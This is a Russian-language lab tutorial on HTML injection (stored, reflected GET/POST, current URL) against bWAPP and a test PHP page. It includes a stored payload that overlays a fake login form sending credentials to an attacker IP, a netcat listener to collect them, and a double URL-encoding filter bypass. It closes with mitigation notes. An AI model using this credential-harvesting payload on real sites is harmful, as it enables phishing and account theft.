В этой статье пойдет речь о том, как неправильно сконфигурированные HTML-коды создают лазейки для проникновения злоумышленников, которые способны впоследствии манипулировать веб-страницами и захватывать конфиденциальные данные пользователей.
Что такое HTML?
HTML – это аббревиатура «HyperText Markup Langauge». Он является базовым строительным блоком веба, определяющим формирование веб-страниц для веб-приложений. HTML используется для разработки сайтов, которые состоят из «HyperText», чтобы добавить «текст внутри текста» в качестве гиперссылки и комбинации элементов. Эти элементы включают в себя необходимые для отображения в браузере данные.
Так что же это за компоненты?
Элемент – важная составляющая любой HTML-страницы, то есть он содержит открывающий и закрывающий тег с данными между ними.
HTML Tag
HTML Tag помечает фрагменты содержимого, такие как «заголовок», «абзац», «форма» и т.д. Он дает имена элементам, окруженным угловыми скобками. Они бывают двух типов: «начальный тег», также известный как открывающий тег, и «конечный тег», еще называемый закрывающим. Браузеры не отображают эти HTML-теги, но используют их для захвата содержимого веб-страницы.
Атрибуты HTML
Для того чтобы предоставить некоторую дополнительную информацию элементам, используются атрибуты. Они находятся внутри начального тега и входят в пару «name/value», так что имя атрибута следует за «equal-to sign», а значение атрибута заключено в кавычки.
<a href = "//cisoclub.ru">CISO CLUB</a>
Здесь «href» – это имя атрибута, а «//cisoclub» – его значение.
Поскольку теперь пользователь знает основы HTML-терминологии, пора проверить «HTML elements flowchart», а затем попытаться реализовать все для того, чтобы создать простую веб-страницу.
Базовая страница HTML
Каждая веб-страница в Интернете – это какой-то HTML-файл. Эти файлы – не что иное, как простые текстовые документы с расширением .html, которые сохраняются и читаются с помощью браузера.
Пора попробовать создать простую веб-страницу в своем блокноте и сохранить ее как hack.html:
<html>
<head>
<title> Hacking Articles lab</title>
</head>
<body bgcolor="pink">
<br>
<center><h2>WELCOME TO <a href=”http://hackingarticles.in”>HACKING ARTILCES </a></h2>
<br>
<p>Author “Raj Chandel”</p>
</center>
</body>
</html>
Теперь нужно открыть hack.html файл в своем браузере и посмотреть, что было создано.
Отлично!! Первая веб-страница была успешно создана. Но как это все устроено?
- <html> является корневым элементом каждой HTML-страницы
- <head> содержит метаинформацию о документе
- <title> задает заголовок для веб-страницы
- <body> содержит видимый контент страницы, что превращает «bgcolor» в розовый цвет
- <br> определяет линию разрыва или отправляет на следующую строку
- <h1> задает большой заголовок
- <p> устанавливает абзац
- <а> определяет тег привязки, который помогает добавить гиперссылку
Пользователь теперь прекрасно понимает, что такое HTML и в чем его основное предназначение. Итак, стоит попробовать найти основные лазейки и понять, как злоумышленники вводят произвольные HTML-коды в уязвимые веб-страницы, чтобы изменить размещенный на них контент.
Знакомство с HTML-инъекцией
HTML-инъекция, еще называемая “виртуальным повреждением”, является одной из самых простых и наиболее распространенных уязвимостей, возникающих, когда веб-страница не очищает предоставленные пользователем входные данные или не проверяет выходные данные, что позволяет злоумышленнику создавать свои полезные нагрузки и вводить вредоносные HTML-коды в приложение через уязвимые поля, так что он может изменять содержимое веб-страницы и даже захватывать некоторую конфиденциальную информацию.
В этой статье рассматривается такой сценарий и объясняется, как выполняются подобные атаки HTML-инъекций.
Настала пора обратиться к веб-приложению, которое уязвимо для HTML-инъекции и не проверяет никаких конкретных входных данных. Таким образом, злоумышленник узнает об этом, он делает свою вредоносную «HTML login Form» приманкой в виде «бесплатных билетов в кино», чтобы обмануть жертву для отправки ее конфиденциальных учетных данных.
Теперь, когда жертвы будут просматривать эту конкретную веб-страницу, там они увидят возможность воспользоваться этими «бесплатными билетами». Когда кто-то нажмет на ссылку, ему снова покажут экран входа в приложение, который представляет собой не что иное, как созданную злоумышленником «HTML-форму». Поэтому, как только человек введет свои учетные данные, злоумышленник получит их посредством своей машины, что и приведет к компрометации его данных.
Влияние HTML-инъекции
Когда поля ввода не были должным образом проработаны на веб-странице, эта уязвимость HTML-инъекции может привести к атакам межсайтового скриптинга (XSS) или подделки запросов на стороне сервера (SSRF). Поэтому данная проблема была зарегистрирована с уровнем серьезности «средний» и оценкой «5.3»:
- CWE-80: неправильная нейтрализация связанных со сценарием HTML-тегов на веб-странице
- CWE-79: неправильная нейтрализация входных данных во время создания веб-страницы
HTML-инъекция vs XSS
Во время таких атак есть вероятность, что пользователь не сможет выполнить HTML-инъекцию, и он попадет в XSS-атаку, потому что HTML-инъекция похожа на межсайтовый скриптинг. Однако если углубиться в имеющуюся информацию, то можно заметить, что во время атаки XSS злоумышленник способен вводить и выполнять коды Javascript, тогда как в HTML-инъекции он обязан использовать определенные HTML-теги для того, чтобы «испортить» веб-страницу.
Далее следует узнать больше об атаках HTML-инъекций и проверить необычные способы, с помощью которых пользователь может захватить веб-страницы и получить учетные данные жертвы.
Stored HTML
Stored HTML еще называется персистентным HTML, потому что посредством этой уязвимости внедренный вредоносный скрипт постоянно хранится внутри сервера веб-приложений, а сервер приложений далее сбрасывает его обратно пользователю, когда он посещает внедренную веб-страницу. Когда клиент нажимает на полезную нагрузку, которая появляется в виде официальной части веб-сайта, введенный HTML-код будет выполнен браузером.
Наиболее распространенным примером Stored HTML является «опция комментариев» в блогах, которая позволяет любому пользователю оставлять свои отзывы как в виде посланий для администратора, так и для других пользователей.
Теперь нужно попробовать использовать эту уязвимость HTML и захватить учетные данные.
Использование Stored HTML
Пользователь открыл целевой IP в своем браузере и вошел в систему внутри BWAPP как bee: bug, далее установил опцию «Choose Your Bug» на «HTML Injection – Stored (Blog)» и нажал на кнопку Hack.
Теперь человек будет перенаправлен на веб-страницу, которая уязвима для HTML-инъекции, что позволяет пользователю отправить свою запись в блог, как показано на скриншоте.
Первоначально была создана обычная запись пользователя через «bee» под названием «Хакерские статьи», чтобы подтвердить, что входные данные успешно сохранены в базе данных веб-сервера. Таким образом, все видно в поле ввода.
Настала пора попробовать внедрить свою вредоносную полезную нагрузку, которая создаст поддельную форму входа пользователя на этой целевой веб-странице, и, таким образом, она переадресует захваченный запрос на другой IP-адрес.
Нужно ввести следующий HTML-код в заданную текстовую область, чтобы настроить HTML-атаку.
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index:1000; background-color:white; padding:1em;">Please login with valid
credenitals:<br><form name="login" action="http://192.168.0.7:4444/login.htm">
<table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td>
<td><input type="text" name="password"/></td></tr><tr>
<td colspan=2 align=center><input type="submit" value="Login"/></td></tr>
</table></form>
На приведенном ниже изображении можно увидеть, что, когда пользователь нажал на кнопку “Отправить”, на веб-странице появилась новая форма входа в систему. Таким образом, эта форма входа теперь находится на веб-сервере приложения, что визуализируется каждый раз, когда жертва посещает эту вредоносную страницу входа. Всегда будет эта форма, и выглядит она для людей официальной страницей.
Теперь необходимо включить листенер netcat на порту 4444, чтобы перехватить запрос жертвы.
nc –lvp 4444
Пришло время подождать, пока жертва загрузит эту страницу в своем браузере и введет учетные данные.
Отлично!! На приведенном выше изображении пользователь может заметить, что “Raj” открыл веб-страницу и попытался войти как raj:123.
Итак, стоит вернуться к листенеру и проверить, записаны ли учетные данные в ответе или нет.
На приведенном ниже изображении видно, что пользователь успешно захватил чужие учетные данные.
Reflected HTML
Reflected HTML еще известный как непостоянный HTML. Эта проблема возникает, когда веб-приложение немедленно реагирует на ввод пользователя без проверки того, что ввел пользователь, что может привести к тому, что злоумышленник воспользуется исполняемым кодом браузера внутри одного HTML-ответа. Он называется «Reflected», поскольку вредоносный скрипт не хранится внутри веб-сервера, поэтому злоумышленник должен отправить вредоносную ссылку посредством фишинга, чтобы поймать пользователя в «ловушку».
Уязвимость Reflected HTML может быть легко найдена в поисковых системах веб-сайта: здесь злоумышленник записывает некоторый произвольный HTML-код в текстовое поле поиска, и, если веб-сайт уязвим, результирующая страница вернется как ответ на эти HTML-сущности.
Reflected HTML бывает трех типов:
- Reflected HTML GET
- Reflected HTML POST
- Reflected HTML Current URL
Прежде чем начать использовать Reflected HTML лаборатории, пора вспомнить, что с помощью метода GET пользователь запрашивает данные из определенного источника, в то время как метод POST используется для отправки данных на сервер для создания/обновления ресурса.
Reflected HTML GET
Пользователь создал веб-страницу, которая позволяет человеку отправлять фидбек со своими данными.
Таким образом, когда пользователь “Raj Chandel” отправляет свой отзыв, появляется ответное сообщение: «Спасибо, Raj Chandel, за уделенное время».
Этот мгновенный ответ и пара “ name/value” в URL-адресе показывают, что данная страница может быть уязвима для HTML-инъекции, и информация была запрошена с помощью метода GET.
Итак, пора попробовать ввести некоторые HTML-коды в эту форму, чтобы изменить ее. Нужно использовать следующий скрипт в поле “имя”:
<h1>Raj Chandel</h1>
И установить фидбек с сообщением: «Хорошо».
На приведенном ниже изображении пользователь может увидеть, что имя пользователя “Raj Chandel” было изменено в качестве заголовка, как и в ответном сообщении.
Интересно, почему все это произошло, стоит проверить следующий фрагмент кода.
С легкостью показываются сообщения на экране, разработчик не устанавливал никакой проверки ввода, то есть он просто установил вывод «благодарственного сообщения», включая имя ввода через переменную “$_GET”.
Бывают случаи, когда разработчик устанавливает некоторые проверки в полях ввода, которые, таким образом, отражают HTML-код обратно на экран, не получая рендеринга.
На приведенном ниже изображении можно увидеть, что, когда пользователь попытался выполнить HTML-код в поле name, он отбрасывал его обратно в виде обычного текста:
Так что же, уязвимости здесь нет?
Следует проверить все это, захватив исходящий запрос с помощью “burpsuite” и далее отправить захваченный запрос непосредственно на вкладку «Repeater».
На вкладке «Repeater», когда пользователь нажал на кнопку «Перейти», чтобы проверить сгенерированный ответ, он обнаружил, что его HTML-сущности были HTML-декодированы здесь как:
Таким образом, пользователь применил полный HTML-код “<a href = http://hackingarticles.in”><h2>Raj</h2></a>” и вставил все это на вкладку декодера. Далее с правой стороны поддона, он нажал на «Encode as» и остановил свой выбор на URL-адресе.
Когда пользователь получит закодированный вывод, он снова отправит его в «Encode as» для нужного URL-адреса, чтобы обладать им в формате двойного URL-адреса.
Теперь следует попробовать это сделать: скопировать полный двойной кодированный URL-адрес и вставить его в поле “name=” на вкладке Repeater в графе запроса.
Пользователь нажмет на кнопку Go, чтобы проверить его сгенерированный ответ.
Отлично!! На приведенном ниже изображении можно увидеть, что человек успешно манипулировал ответом.
Теперь необходимо сделать аналогичные поправки во вкладке прокси и нажать на кнопку «Вперед». На приведенном ниже изображении можно увидеть, что пользователь «испортил» эту веб-страницу через ее проверенные поля.
Стоит просмотреть фрагмент кода, чтобы увидеть, где разработчик сделал проверку входных данных.
На приведенном ниже изображении можно увидеть, что здесь разработчик сделал функцию “hack” для переменных данных и даже декодировал “<” и “>” в “<” и “>” для $data и $input соответственно, далее он использовал встроенную PHP-функцию urldecode over for $input для декодирования URL-адреса.
На приведенном ниже изображении можно увидеть, что разработчик реализовал функцию hack over в поле name.
Reflected HTML POST
Как и в случае с «GET webpage», поля “Name” и “Feedback” здесь также уязвимы, так как реализован метод POST, поэтому данные формы не будут отображаться в URL-адресе.
Следует попробовать снова «испортить» эту веб-страницу, но на этот раз пользователь добавит изображение, а не статический текст.
<img src= "https://www.ignitetechnologies.in/img/logo-blue-white.png">
На приведенном ниже изображении можно увидеть, что логотип «Ignite technologies» был помещен на экран. Таким образом, злоумышленник здесь может даже вводить другие форматы мультимедиа, такие как видео, аудио или GIF.
Reflected HTML и Current URL
Может ли веб-приложение быть уязвимым для HTML-инъекции без полей ввода на веб-странице?
Да, конечно. Нет необходимости иметь входные данные, такие как поле комментариев или поле поиска, некоторые приложения отображают URL-адрес пользователя на своих веб-страницах. Они могут быть уязвимы для инъекций HTML, так как в таких случаях URL-адрес действует как поле ввода для него.
На приведенном выше изображении можно увидеть, что текущий URL-адрес отображается на веб-странице как «http: //192.168.0.16/hack/html_URL.РНР». Так что следует воспользоваться этим преимуществом и посмотреть, что пользователь сможет захватить.
Нужно настроиться «burpsuite» и захватить текущий HTTP-запрос.
Теперь пользователь манипулирует этим запросом с помощью:
/hack/html_URL.php/<h1>Hey_are_you_there?</h1>
Он нажимает на кнопку «Вперед», чтобы проверить результат в браузере.
Отлично!! На приведенном ниже изображении можно увидеть, что пользователь успешно «испортил» веб-сайт, просто введя желаемый HTML-код в URL-адрес веб-приложения.
Следует посмотреть на код и понять, как разработчику удалось получить текущий URL-адрес на экране.
Здесь разработчик использовал переменную PHP как $_SERVER для того, чтобы захватить текущий URL-адрес страницы. Кроме того, он изменил имя хоста с помощью “HTTP_HOST” и запрошенное местоположение ресурса на URL-адрес с помощью “REQUEST_URI” и поместил все это в переменную $url.
Перейдя в раздел HTML, он просто установил echo с переменной $url без какой-либо конкретной проверки, чтобы отобразить сообщение с URL-адресом.
Митигирование
- Разработчику стоит настроить свой HTML-скрипт, который фильтрует метасимволы от входных данных пользователя
- Разработчику нужно реализовать функции для проверки пользовательских входных данных таким образом, чтобы они не содержали никаких конкретных тегов, которые могут привести к виртуальным повреждениям
Автор переведенной статьи: Chiragh Arora.
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.